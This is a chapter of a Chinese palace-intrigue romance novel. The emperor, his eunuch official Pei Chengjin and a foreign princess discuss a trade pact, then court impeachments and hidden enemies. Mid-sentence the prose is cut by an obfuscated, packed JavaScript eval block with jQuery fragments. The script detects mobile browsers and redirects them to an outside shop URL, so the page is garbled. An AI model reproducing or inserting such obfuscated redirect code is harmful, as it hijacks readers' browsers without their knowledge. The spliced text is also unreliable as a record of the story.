翌日一早,裴承槿踏着半醒半昏的天色入了宫。
途中,他还看见了扶余公主伽莲歌和礼部员外郎沈博容。二人并排而行,似是有事要见皇帝。
沈博容的使臣一职,虽是裴承槿向皇帝推荐而来的,但二人却从未有过正式交流。
“裴厂督。”沈博容远远叫住了他,合手行礼。
裴承槿快走两步到了二人面前,扬起笑容:“沈员外郎,公主。”
伽莲歌对于沈博容的称呼有一瞬间怔愣,像是并未想通“厂督”二字的含义。
沈博容状似无意,悠悠道:“裴厂督来得早。”
“职责所在,不敢推辞。”裴承槿依旧是一副笑眯眯的样子,“公主远赴天晟,不知可曾逛过皇都?”
不知怎的,话题突然被引到了伽莲歌的身上。她抬眸,正对上那双凤眼。
“身在扶余之时,便常听母亲说起天晟的皇都。言之为物阜民丰之地,四海朝拜。而今蓦然到了,却似并不真实。如若能亲自一逛,自然是极好的。”
“不过。”伽莲歌将话锋一转:“我有事情尚未完成,待解决过后再逛不迟。”
裴承槿静听完伽莲歌的一番话,也大致猜出了几分。
眼下,扶余下虽令域外其余四国尽数称臣,但扶余仍地处偏僻,商旅不通,贸易不行。
扶余公主匆忙入宫,怕是同此事有所关联。
“公主大任在肩,理应以国为重。”
裴承槿笑容温和,伽莲歌则是应和着稍稍颔首。
沈博容同样听出了伽莲歌的话外之意,他略微正色,道:“陛下在夜宴上,已亲口许下了两国的永世邦交。公主此来天晟,定成所愿!”
伽莲歌行礼道:“多谢二位。”
宋沛半阖着眼睛直挺挺站在文华殿外,从那条细细的长缝中,他又看见了那个不想见的身影。
他顿觉浑身又不爽利了几分。
这条身影逐渐靠近,他又从缝隙中窥见两个别的。
厚重的眼皮被他用力撑开,宋沛遥遥一看,竟然是扶余公主伽莲歌和礼部员外郎沈博容。
宋沛迎上前来:“老奴,问公主安。”
随后,他调转方向又道:“沈员外郎,裴厂督。”
伽莲歌语气柔缓:“公公,本公主欲见皇帝陛下一面,不知可否通禀一声?”
“那,沈员外郎也是如此吗?”
宋沛弯着身子看向沈博容,又垂下了眼皮,似是在等着他的应答。
“我为陪伴使,自然要随公主一同面见陛下。”沈博容交握双手:“劳烦宋公公。”
“公主,员外郎,还请此处稍后。”
宋沛拖着调子转过身去,顺道递给裴承槿一个眼神。
裴承槿心领神会,向身侧的伽莲歌和沈博容略一欠身,道:“裴某先行入殿。”
殿门启,冷风带出的浓重熏香味道同裴承槿两两相撞,将他呛得鼻翼发痒。
“裴厂督,陛下一夜未眠。”宋沛言尽于此。
愈向前走,香味愈重。裴承槿四下一看,果然见到了在大殿一侧的熏香。
宋沛将声调放缓:“陛下——裴厂督到了。”
即便是燃了提神的熏香,司岱舟还是感觉自己的头脑在发胀。
这种有肌肉在眼角惊跳的异样感牵连着整个面部,甚至在不断扩大。
司岱舟觉得自己力不从心。
“陛下,提神熏香不好久燃。”
裴承槿站在御案之下,拱手直言。
司岱舟撑着额头抬起脸来,生出红丝的眼睛疲倦地开合一下。
“你来了。”
殿侧的一鼎三足香炉置于香几之上,通体绘海水江崖纹,青花浓艳。
裴承槿拾起香箸,拨开了炉中香灰。
燃烧的香品没入香灰之中,只留下了细小不可计的残存烟雾,和瘫软在火星之中渐死的细灰。
“宋公公,劳烦支个窗子。”
说罢,裴承槿迈至桌案之前,盖上了最后的五足香炉。未等他将手收回,却猛然被捉住了。
司岱舟抓着裴承槿伸出的右手,顺着手腕突出的骨节一直移动,细细摩挲。
裴承槿默认了对方的耍赖。
“我有些累了……”
司岱舟先是在裴承槿的掌骨上打圈,随后缓慢下滑,用食指来回轻蹭对方的指腹软肉。
裴承槿直觉是发生了什么,正欲开口询问,却听见了宋沛渐近的脚步声。
显然,司岱舟也有所发觉。他向裴承槿抛去一个不明不白的眼神,又在对方手中轻轻一勾,方收回了作祟的一只手。
裴承槿后退两步,候在了御案一侧。
自昨夜过后,二人之间的默契显然是更上一层。
游荡的寒风穿行无阻,将沉积于殿内的香气和热气卷个干干净净,丁点不剩。
宋沛瞟了一眼皇帝面色,见其似是缓和些许,便出声道:“陛下,扶余公主和礼部员外郎沈博容正等在殿外。”
“扶余公主?”司岱舟撩起眼皮,下意识向裴承槿扫去一眼:“快些请进来。”
伽莲歌和沈博容一前一后,迈进这寒风肆虐的大殿。
“扶余大公主伽莲歌,拜见天晟皇帝陛下。”
“微臣沈博容,拜见陛下。”
“免礼。”
司岱舟迈过御案边的奏折堆子,扶起了二人。
“公主远道而来,为何不先在驿馆稍作休息?沈员外郎,可是没有尽到陪伴使的职责?”
话似问罪,司岱舟的语气却轻松调侃。
果然,伽莲歌推让道:“多谢陛下挂怀。只不过,此次进宫面见皇帝陛下,是我个人主意。”
“天晟已同扶余结成邦交,公主若有事不妨直言。”
司岱舟面上端得一副沉稳,暗地却打探起扶余公主的神色。
“我扶余远离中土,毗邻大荒。常有焦金流石,炎风灼沙之时。虽得水渠,却因地貌土壤之故,无法尽种黍米果蔬,维持百姓生计。”
“然,扶余独有骁勇烈马,纵贯沙场,千金难求。若陛下重开商路,天晟将得良驹以备军用,扶余可保民生大计,乃互利也。”
说着,伽莲歌停顿片刻,行礼道:“此番我奉母王之命进贡天晟,不仅为结成两国邦交,更为开辟商路,繁荣贸易,兴两国之要。”
司岱舟对于扶余国情有所了解,但此种肺腑之言从扶余大公主口中说出,则更显诚意。
他将注意从伽莲歌身上收回,缓缓道:“公主情真意切,又一心牵挂百姓,实乃扶余之福。不知……”
话题一转,悄然落在了站在一旁的沈博容上。
“不知……沈员外郎怎么看?”
沈博容倒像是有所准备:“禀陛下。域外道绝,商旅不通,非为国家之利。若重开商道,互通有无,亦为富民强国之举。”
“不瞒陛下,此次微臣随公主进宫,便是为了此事。”
“哦?”司岱舟发出疑问的口吻:“扶余公主竟是早就同你提过了?”
“并非如此。”沈博容正色道:“微臣此去边境,多见孤苦难民流亡于外。询问之下方才得知,难民多为边境子民。而边境地区时常干旱,又多山地荒漠,良田稀少。加之边境为冲突前线,故此,多数人为求生计,只得远走他乡,沦落为难民。”
“若公主所言可成,两国结邦交,通贸易,那我天晟边境可因商而实,难民将无。”
沈博容言辞恳切,不带停歇地说了长长一段,再拜。
“惟陛下圣明察之!”
司岱舟敛下目光,向前踱了几步。
浓重的熏香味道早就散了个干净,只剩下刺鼻的寒冷空气呼啸其中,沾了殿内几人满身凉意。
“社稷之本,唯在民生。而今民生多艰,岂可坐视?”
话毕,司岱舟转身看向伽莲歌:“公主既是奉扶余王之命,想来,应是有了具体主意?”
伽莲歌回道:“若天晟与扶余订立贸易契约,可在两国边境处设立官家市场,并由天晟、扶余双方共设两名互市监。”
“好,未承想贵国已经想得如此周到。”司岱舟称赞一声,转而又道:“朕将派人为此契约立书,并差专门官员同扶余相商其他事宜。”
伽莲歌见大事已成,更是喜出望外。
“躬谢皇帝陛下!”
“公主太过客气。眼下两国修好,公主不远千里来到皇都,也应好好享受我天晟皇都的美景、美食。”
司岱舟本是随口一说,却听对方惊喜应答道:“久闻皇都为天下富庶之地,盛景万千,冠绝寰宇。此番前来,更是了却生平所愿,自当好好游览。”
“如此便好。公主在天晟境内有任何要求都可提出,朕自当尽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915145|187590||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
力满足。”
司岱舟向沈博容递去眼神,对方顺势接上了话尾:“公主若有吩咐,尽可差遣微臣。”
伽莲歌将君臣二人的眼神交流看得清楚,只见她素手交叠,虚虚一拜:“多谢。”
裴承槿同离开的伽莲歌和沈博容二人点头示意,司岱舟却在伽莲歌转身之时,看见了她眼中泛起的丝丝涟漪。
司岱舟不着痕迹地将视线移在了裴承槿脸上,果然见着了他那副波澜不惊一成不变的样子。
有时候,司岱舟真不知道裴承槿这种极端迟钝的反应,是好还是不好。
如此想着,耳边蓦地传来对方的声音。
“陛下,可是有事发生?”
好容易偃旗息鼓的眼角再度跳动,司岱舟叹气道:“你发现了。”
见皇帝面色不佳,裴承槿长眉微蹙:“何事?”
“左都御史宰良骥弹劾黑甲卫大将军毕岚,奏他在皇家冬狩上护卫不利,致使官员丧命,有失察之罪。”
裴承槿盯着皇帝从殿中走到了自己身前,于是开口问道:“陛下应该知道,这意味着什么吧?”
司岱舟扫下眼睫,看着对方那颗亮眼的小痣被挤在长眉之间,轻声道:“当然。仲为的尸体是黑甲卫奉我的命令暗中搜出的,一旦泄露,只能说明黑甲卫中出了奸细。”
“那陛下还如此游刃有余?”
裴承槿看着司岱舟此时的表情,对方虽神色复杂,却不像是因黑甲卫中的奸细而头疼。
“事已至此,焦躁无用。”
司岱舟发觉裴承槿压下了上扬的眼角,倒是一副严肃的模样。
“朝堂官员死于冬狩之时,这点百口莫辩,毕岚已入了刑部接受问讯。”
司岱舟话音刚落,又听裴承槿迅速追问:“奏章之上,未提半分蛊人之事吗?”
“是。”司岱舟应了一声,而后接道:“故此,奸细不在我们身中蛊人埋伏之时的贴身黑甲卫之中。”
裴承槿松了一口气:“陛下,可知宰良骥此人,为何人学生?”
“谷鸿儒,我知道。”
司岱舟回应得很快,他见裴承槿面上神情未改,更是严肃了几分。
“那陛下应该知道,此次弹劾只能是太后授意。”
“呵!太后的手下,不过是些最爱狺狺狂吠的文官,不堪大事!”
裴承槿不以为然:“非也。御史监察百官,弹劾不法,有风闻奏事之权。就算陛下身为皇帝,也撤不了他们口诛笔伐的权力。”
“何况……”
“何况什么?”司岱舟皱眉问。
“何况这左都御史早就生了查手大理寺少卿一案的想法,太后早有所谋。”裴承槿迎着司岱舟的目光,却从对方的眸中瞧出些分辨不出的情绪。
“另外,太后一党应不是在冬狩之上派出蛊人的幕后黑手,恐有第三股势力潜于暗中。”
“陛下?”
裴承槿拧了眉头:“陛下可是听清了我的话。”
“裴厂督,当真不为太后所差使了?”
司岱舟突然转了话题,轻声发问。
“陛下呢,是疑心此时此刻我说的每一句话都是太后授意的吗?”
裴承槿口中说着,眼睛却弯了起来。
司岱舟从中瞧出些隐藏的不满,便开口解释道:“不。只是我想确认,你是站在我身边的。”
“你站在我身边,我很开心。”
司岱舟将话说得很是缓慢,几乎是一字一字地敲在裴承槿耳边。
与此同时,司岱舟挑起眉峰,将目光钩在对方身上,迟迟不动。
裴承槿对此种话语毫无防备,他怔愣一下,像是不知要做何回应。
相比于身体上的接触,这短短一句却成了排山倒海之势。
沉默几晌,他开口道:“陛下的开心,怕是要缓缓了。根据东厂密报,皇都中潜入了南州之人。这伙人假意扮作戏班子,混入都城之中。”
司岱舟蓦然换了神色。
裴承槿如愿将话题转移,可心口却跳动不休。
起起落落的浮游般的念想包围了他,裴承槿垂下眸子。
或许是很久没有听过“开心”这两个字眼,又或许只是对方的话激起了一种陌生感。有一种细腻的情绪啃啮着他的心,直到泛起酥酥麻麻让人再难忍受的感觉,裴承槿只好选择暂时逃过了个档口。